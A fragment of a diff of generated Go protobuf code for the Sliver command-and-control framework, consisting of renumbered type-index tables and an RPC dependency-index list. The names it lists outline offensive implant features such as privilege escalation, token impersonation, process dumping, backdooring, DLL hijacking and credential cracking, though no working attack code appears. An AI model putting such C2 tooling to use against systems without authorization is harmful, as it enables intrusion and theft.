(*sliverpb.TunnelData)(nil), // 130: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 131: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 132: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 133: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 134: clientpb.Sessions
|
||||
(*commonpb.Response)(nil), // 135: commonpb.Response
|
||||
(*clientpb.MonitoringProviders)(nil), // 136: clientpb.MonitoringProviders
|
||||
(*clientpb.ListenerJob)(nil), // 137: clientpb.ListenerJob
|
||||
(*clientpb.Beacons)(nil), // 138: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 139: clientpb.BeaconTasks
|
||||
(*clientpb.Jobs)(nil), // 140: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 141: clientpb.KillJob
|
||||
(*clientpb.StagerListener)(nil), // 142: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 143: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 144: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 145: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 146: clientpb.ExternalImplantConfig
|
||||
(*clientpb.HTTPC2Configs)(nil), // 147: clientpb.HTTPC2Configs
|
||||
(*clientpb.HTTPC2Config)(nil), // 148: clientpb.HTTPC2Config
|
||||
(*clientpb.Builders)(nil), // 149: clientpb.Builders
|
||||
(*clientpb.CertificateInfo)(nil), // 150: clientpb.CertificateInfo
|
||||
(*clientpb.CertificateAuthorityInfo)(nil), // 151: clientpb.CertificateAuthorityInfo
|
||||
(*clientpb.Crackstations)(nil), // 152: clientpb.Crackstations
|
||||
(*clientpb.CrackFiles)(nil), // 153: clientpb.CrackFiles
|
||||
(*clientpb.ImplantBuilds)(nil), // 154: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 155: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 156: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 157: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 158: clientpb.ImplantProfiles
|
||||
(*clientpb.ShellcodeRDI)(nil), // 159: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 160: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 161: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 162: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.TrafficEncoderMap)(nil), // 163: clientpb.TrafficEncoderMap
|
||||
(*clientpb.TrafficEncoderTests)(nil), // 164: clientpb.TrafficEncoderTests
|
||||
(*clientpb.Websites)(nil), // 165: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 166: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 167: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 168: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 169: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 170: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 171: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 172: sliverpb.Mv
|
||||
(*sliverpb.Cp)(nil), // 173: sliverpb.Cp
|
||||
(*sliverpb.Rm)(nil), // 174: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 175: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 176: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 177: sliverpb.Upload
|
||||
(*sliverpb.Grep)(nil), // 178: sliverpb.Grep
|
||||
(*sliverpb.Chmod)(nil), // 179: sliverpb.Chmod
|
||||
(*sliverpb.Chown)(nil), // 180: sliverpb.Chown
|
||||
(*sliverpb.Chtimes)(nil), // 181: sliverpb.Chtimes
|
||||
(*sliverpb.MemfilesAdd)(nil), // 182: sliverpb.MemfilesAdd
|
||||
(*sliverpb.MemfilesRm)(nil), // 183: sliverpb.MemfilesRm
|
||||
(*sliverpb.Mount)(nil), // 184: sliverpb.Mount
|
||||
(*sliverpb.ProcessDump)(nil), // 185: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 186: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 187: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 188: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 189: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 190: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 191: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 192: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 193: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 194: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 195: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 196: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 197: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.Services)(nil), // 198: sliverpb.Services
|
||||
(*sliverpb.ServiceDetail)(nil), // 199: sliverpb.ServiceDetail
|
||||
(*sliverpb.ServiceInfo)(nil), // 200: sliverpb.ServiceInfo
|
||||
(*sliverpb.PivotListener)(nil), // 201: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 202: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 203: clientpb.PivotGraph
|
||||
(*sliverpb.MakeToken)(nil), // 204: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 205: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 206: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 207: sliverpb.UnsetEnv
|
||||
(*clientpb.Backdoor)(nil), // 208: clientpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 209: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 210: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 211: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 212: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 213: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 214: sliverpb.RegistryValuesList
|
||||
(*sliverpb.RegistryReadHive)(nil), // 215: sliverpb.RegistryReadHive
|
||||
(*sliverpb.SSHCommand)(nil), // 216: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 217: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 218: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 219: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 220: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 221: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 222: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 223: sliverpb.ListExtensions
|
||||
(*sliverpb.RegisterWasmExtension)(nil), // 224: sliverpb.RegisterWasmExtension
|
||||
(*sliverpb.ListWasmExtensions)(nil), // 225: sliverpb.ListWasmExtensions
|
||||
(*sliverpb.ExecWasmExtension)(nil), // 226: sliverpb.ExecWasmExtension
|
||||
(*sliverpb.WGPortForward)(nil), // 227: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 228: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 229: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 230: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 231: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 232: sliverpb.Portfwd
|
||||
(*sliverpb.ShellResizeReq)(nil), // 126: sliverpb.ShellResizeReq
|
||||
(*sliverpb.PortfwdReq)(nil), // 127: sliverpb.PortfwdReq
|
||||
(*sliverpb.Socks)(nil), // 128: sliverpb.Socks
|
||||
(*sliverpb.SocksData)(nil), // 129: sliverpb.SocksData
|
||||
(*sliverpb.Tunnel)(nil), // 130: sliverpb.Tunnel
|
||||
(*sliverpb.TunnelData)(nil), // 131: sliverpb.TunnelData
|
||||
(*clientpb.Version)(nil), // 132: clientpb.Version
|
||||
(*clientpb.Operators)(nil), // 133: clientpb.Operators
|
||||
(*sliverpb.Reconfigure)(nil), // 134: sliverpb.Reconfigure
|
||||
(*clientpb.Sessions)(nil), // 135: clientpb.Sessions
|
||||
(*commonpb.Response)(nil), // 136: commonpb.Response
|
||||
(*clientpb.MonitoringProviders)(nil), // 137: clientpb.MonitoringProviders
|
||||
(*clientpb.ListenerJob)(nil), // 138: clientpb.ListenerJob
|
||||
(*clientpb.Beacons)(nil), // 139: clientpb.Beacons
|
||||
(*clientpb.BeaconTasks)(nil), // 140: clientpb.BeaconTasks
|
||||
(*clientpb.Jobs)(nil), // 141: clientpb.Jobs
|
||||
(*clientpb.KillJob)(nil), // 142: clientpb.KillJob
|
||||
(*clientpb.StagerListener)(nil), // 143: clientpb.StagerListener
|
||||
(*clientpb.AllLoot)(nil), // 144: clientpb.AllLoot
|
||||
(*clientpb.AllHosts)(nil), // 145: clientpb.AllHosts
|
||||
(*clientpb.Generate)(nil), // 146: clientpb.Generate
|
||||
(*clientpb.ExternalImplantConfig)(nil), // 147: clientpb.ExternalImplantConfig
|
||||
(*clientpb.HTTPC2Configs)(nil), // 148: clientpb.HTTPC2Configs
|
||||
(*clientpb.HTTPC2Config)(nil), // 149: clientpb.HTTPC2Config
|
||||
(*clientpb.Builders)(nil), // 150: clientpb.Builders
|
||||
(*clientpb.CertificateInfo)(nil), // 151: clientpb.CertificateInfo
|
||||
(*clientpb.CertificateAuthorityInfo)(nil), // 152: clientpb.CertificateAuthorityInfo
|
||||
(*clientpb.Crackstations)(nil), // 153: clientpb.Crackstations
|
||||
(*clientpb.CrackFiles)(nil), // 154: clientpb.CrackFiles
|
||||
(*clientpb.ImplantBuilds)(nil), // 155: clientpb.ImplantBuilds
|
||||
(*clientpb.Canaries)(nil), // 156: clientpb.Canaries
|
||||
(*clientpb.WGClientConfig)(nil), // 157: clientpb.WGClientConfig
|
||||
(*clientpb.UniqueWGIP)(nil), // 158: clientpb.UniqueWGIP
|
||||
(*clientpb.ImplantProfiles)(nil), // 159: clientpb.ImplantProfiles
|
||||
(*clientpb.ShellcodeRDI)(nil), // 160: clientpb.ShellcodeRDI
|
||||
(*clientpb.Compiler)(nil), // 161: clientpb.Compiler
|
||||
(*clientpb.ShellcodeEncode)(nil), // 162: clientpb.ShellcodeEncode
|
||||
(*clientpb.ShellcodeEncoderMap)(nil), // 163: clientpb.ShellcodeEncoderMap
|
||||
(*clientpb.TrafficEncoderMap)(nil), // 164: clientpb.TrafficEncoderMap
|
||||
(*clientpb.TrafficEncoderTests)(nil), // 165: clientpb.TrafficEncoderTests
|
||||
(*clientpb.Websites)(nil), // 166: clientpb.Websites
|
||||
(*sliverpb.Ps)(nil), // 167: sliverpb.Ps
|
||||
(*sliverpb.Terminate)(nil), // 168: sliverpb.Terminate
|
||||
(*sliverpb.Ifconfig)(nil), // 169: sliverpb.Ifconfig
|
||||
(*sliverpb.Netstat)(nil), // 170: sliverpb.Netstat
|
||||
(*sliverpb.Ls)(nil), // 171: sliverpb.Ls
|
||||
(*sliverpb.Pwd)(nil), // 172: sliverpb.Pwd
|
||||
(*sliverpb.Mv)(nil), // 173: sliverpb.Mv
|
||||
(*sliverpb.Cp)(nil), // 174: sliverpb.Cp
|
||||
(*sliverpb.Rm)(nil), // 175: sliverpb.Rm
|
||||
(*sliverpb.Mkdir)(nil), // 176: sliverpb.Mkdir
|
||||
(*sliverpb.Download)(nil), // 177: sliverpb.Download
|
||||
(*sliverpb.Upload)(nil), // 178: sliverpb.Upload
|
||||
(*sliverpb.Grep)(nil), // 179: sliverpb.Grep
|
||||
(*sliverpb.Chmod)(nil), // 180: sliverpb.Chmod
|
||||
(*sliverpb.Chown)(nil), // 181: sliverpb.Chown
|
||||
(*sliverpb.Chtimes)(nil), // 182: sliverpb.Chtimes
|
||||
(*sliverpb.MemfilesAdd)(nil), // 183: sliverpb.MemfilesAdd
|
||||
(*sliverpb.MemfilesRm)(nil), // 184: sliverpb.MemfilesRm
|
||||
(*sliverpb.Mount)(nil), // 185: sliverpb.Mount
|
||||
(*sliverpb.ProcessDump)(nil), // 186: sliverpb.ProcessDump
|
||||
(*sliverpb.RunAs)(nil), // 187: sliverpb.RunAs
|
||||
(*sliverpb.Impersonate)(nil), // 188: sliverpb.Impersonate
|
||||
(*sliverpb.RevToSelf)(nil), // 189: sliverpb.RevToSelf
|
||||
(*sliverpb.GetSystem)(nil), // 190: sliverpb.GetSystem
|
||||
(*sliverpb.Task)(nil), // 191: sliverpb.Task
|
||||
(*sliverpb.ExecuteAssembly)(nil), // 192: sliverpb.ExecuteAssembly
|
||||
(*sliverpb.Migrate)(nil), // 193: sliverpb.Migrate
|
||||
(*sliverpb.Execute)(nil), // 194: sliverpb.Execute
|
||||
(*sliverpb.Sideload)(nil), // 195: sliverpb.Sideload
|
||||
(*sliverpb.SpawnDll)(nil), // 196: sliverpb.SpawnDll
|
||||
(*sliverpb.Screenshot)(nil), // 197: sliverpb.Screenshot
|
||||
(*sliverpb.CurrentTokenOwner)(nil), // 198: sliverpb.CurrentTokenOwner
|
||||
(*sliverpb.Services)(nil), // 199: sliverpb.Services
|
||||
(*sliverpb.ServiceDetail)(nil), // 200: sliverpb.ServiceDetail
|
||||
(*sliverpb.ServiceInfo)(nil), // 201: sliverpb.ServiceInfo
|
||||
(*sliverpb.PivotListener)(nil), // 202: sliverpb.PivotListener
|
||||
(*sliverpb.PivotListeners)(nil), // 203: sliverpb.PivotListeners
|
||||
(*clientpb.PivotGraph)(nil), // 204: clientpb.PivotGraph
|
||||
(*sliverpb.MakeToken)(nil), // 205: sliverpb.MakeToken
|
||||
(*sliverpb.EnvInfo)(nil), // 206: sliverpb.EnvInfo
|
||||
(*sliverpb.SetEnv)(nil), // 207: sliverpb.SetEnv
|
||||
(*sliverpb.UnsetEnv)(nil), // 208: sliverpb.UnsetEnv
|
||||
(*clientpb.Backdoor)(nil), // 209: clientpb.Backdoor
|
||||
(*sliverpb.RegistryRead)(nil), // 210: sliverpb.RegistryRead
|
||||
(*sliverpb.RegistryWrite)(nil), // 211: sliverpb.RegistryWrite
|
||||
(*sliverpb.RegistryCreateKey)(nil), // 212: sliverpb.RegistryCreateKey
|
||||
(*sliverpb.RegistryDeleteKey)(nil), // 213: sliverpb.RegistryDeleteKey
|
||||
(*sliverpb.RegistrySubKeyList)(nil), // 214: sliverpb.RegistrySubKeyList
|
||||
(*sliverpb.RegistryValuesList)(nil), // 215: sliverpb.RegistryValuesList
|
||||
(*sliverpb.RegistryReadHive)(nil), // 216: sliverpb.RegistryReadHive
|
||||
(*sliverpb.SSHCommand)(nil), // 217: sliverpb.SSHCommand
|
||||
(*clientpb.DllHijack)(nil), // 218: clientpb.DllHijack
|
||||
(*sliverpb.GetPrivs)(nil), // 219: sliverpb.GetPrivs
|
||||
(*sliverpb.RportFwdListener)(nil), // 220: sliverpb.RportFwdListener
|
||||
(*sliverpb.RportFwdListeners)(nil), // 221: sliverpb.RportFwdListeners
|
||||
(*sliverpb.RegisterExtension)(nil), // 222: sliverpb.RegisterExtension
|
||||
(*sliverpb.CallExtension)(nil), // 223: sliverpb.CallExtension
|
||||
(*sliverpb.ListExtensions)(nil), // 224: sliverpb.ListExtensions
|
||||
(*sliverpb.RegisterWasmExtension)(nil), // 225: sliverpb.RegisterWasmExtension
|
||||
(*sliverpb.ListWasmExtensions)(nil), // 226: sliverpb.ListWasmExtensions
|
||||
(*sliverpb.ExecWasmExtension)(nil), // 227: sliverpb.ExecWasmExtension
|
||||
(*sliverpb.WGPortForward)(nil), // 228: sliverpb.WGPortForward
|
||||
(*sliverpb.WGSocks)(nil), // 229: sliverpb.WGSocks
|
||||
(*sliverpb.WGTCPForwarders)(nil), // 230: sliverpb.WGTCPForwarders
|
||||
(*sliverpb.WGSocksServers)(nil), // 231: sliverpb.WGSocksServers
|
||||
(*sliverpb.Shell)(nil), // 232: sliverpb.Shell
|
||||
(*sliverpb.Portfwd)(nil), // 233: sliverpb.Portfwd
|
||||
}
|
||||
var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
|
||||
@@ -1139,198 +1144,200 @@ var file_rpcpb_services_proto_depIdxs = []int32{
|
||||
123, // 171: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
|
||||
124, // 172: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
|
||||
125, // 173: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
|
||||
126, // 174: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
|
||||
127, // 175: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
|
||||
127, // 176: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
|
||||
128, // 177: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
|
||||
129, // 178: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
|
||||
129, // 179: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
|
||||
130, // 180: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
|
||||
0, // 181: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
|
||||
131, // 182: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
|
||||
0, // 183: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
|
||||
132, // 184: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
|
||||
0, // 185: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
|
||||
133, // 186: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
|
||||
0, // 187: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
|
||||
134, // 188: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
|
||||
135, // 189: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
|
||||
0, // 190: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
|
||||
136, // 191: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
|
||||
135, // 192: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
|
||||
135, // 193: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
|
||||
137, // 194: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
|
||||
137, // 195: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
|
||||
137, // 196: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
|
||||
137, // 197: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
|
||||
137, // 198: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
|
||||
138, // 199: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
|
||||
10, // 200: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
|
||||
0, // 201: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
|
||||
139, // 202: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
|
||||
11, // 203: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
|
||||
11, // 204: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
|
||||
0, // 205: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
|
||||
140, // 206: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
|
||||
141, // 207: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
|
||||
0, // 208: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
|
||||
142, // 209: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
|
||||
16, // 210: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
|
||||
0, // 211: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
|
||||
16, // 212: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
|
||||
16, // 213: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
|
||||
143, // 214: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
|
||||
17, // 215: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
|
||||
0, // 216: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
|
||||
0, // 217: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
|
||||
0, // 218: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
|
||||
18, // 219: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
|
||||
17, // 220: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
|
||||
17, // 221: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
|
||||
18, // 222: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
|
||||
144, // 223: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
|
||||
19, // 224: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
|
||||
0, // 225: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
|
||||
0, // 226: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
|
||||
145, // 227: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
|
||||
146, // 228: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
|
||||
0, // 229: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
|
||||
146, // 230: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
|
||||
145, // 231: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
|
||||
0, // 232: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
|
||||
147, // 233: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
|
||||
148, // 234: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
|
||||
0, // 235: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
|
||||
30, // 236: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
|
||||
0, // 237: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
|
||||
149, // 238: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
|
||||
150, // 239: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
|
||||
151, // 240: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
|
||||
30, // 241: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
|
||||
0, // 242: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
|
||||
0, // 243: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
|
||||
152, // 244: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
|
||||
34, // 245: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
|
||||
0, // 246: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
|
||||
153, // 247: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
|
||||
35, // 248: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
|
||||
0, // 249: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
|
||||
36, // 250: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
|
||||
0, // 251: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
|
||||
0, // 252: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
|
||||
145, // 253: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
|
||||
154, // 254: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
|
||||
0, // 255: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
|
||||
155, // 256: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
|
||||
156, // 257: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
|
||||
157, // 258: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
|
||||
158, // 259: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
|
||||
0, // 260: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
|
||||
39, // 261: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
|
||||
159, // 262: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
|
||||
160, // 263: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
|
||||
161, // 264: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
|
||||
162, // 265: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
|
||||
163, // 266: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
|
||||
164, // 267: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
|
||||
0, // 268: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
|
||||
165, // 269: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
|
||||
43, // 270: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
|
||||
0, // 271: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
|
||||
43, // 272: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
|
||||
43, // 273: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
|
||||
43, // 274: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
|
||||
46, // 275: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
|
||||
166, // 276: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
|
||||
167, // 277: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
|
||||
168, // 278: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
|
||||
169, // 279: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
|
||||
170, // 280: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
|
||||
171, // 281: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
|
||||
171, // 282: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
|
||||
172, // 283: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
|
||||
173, // 284: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
|
||||
174, // 285: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
|
||||
175, // 286: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
|
||||
176, // 287: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
|
||||
177, // 288: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
|
||||
178, // 289: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
|
||||
179, // 290: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
|
||||
180, // 291: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
|
||||
181, // 292: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
|
||||
170, // 293: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
|
||||
182, // 294: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
|
||||
183, // 295: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
|
||||
184, // 296: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
|
||||
185, // 297: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
|
||||
186, // 298: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
|
||||
187, // 299: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
|
||||
188, // 300: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
|
||||
189, // 301: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
|
||||
190, // 302: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
|
||||
190, // 303: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
|
||||
190, // 304: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
|
||||
191, // 305: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
|
||||
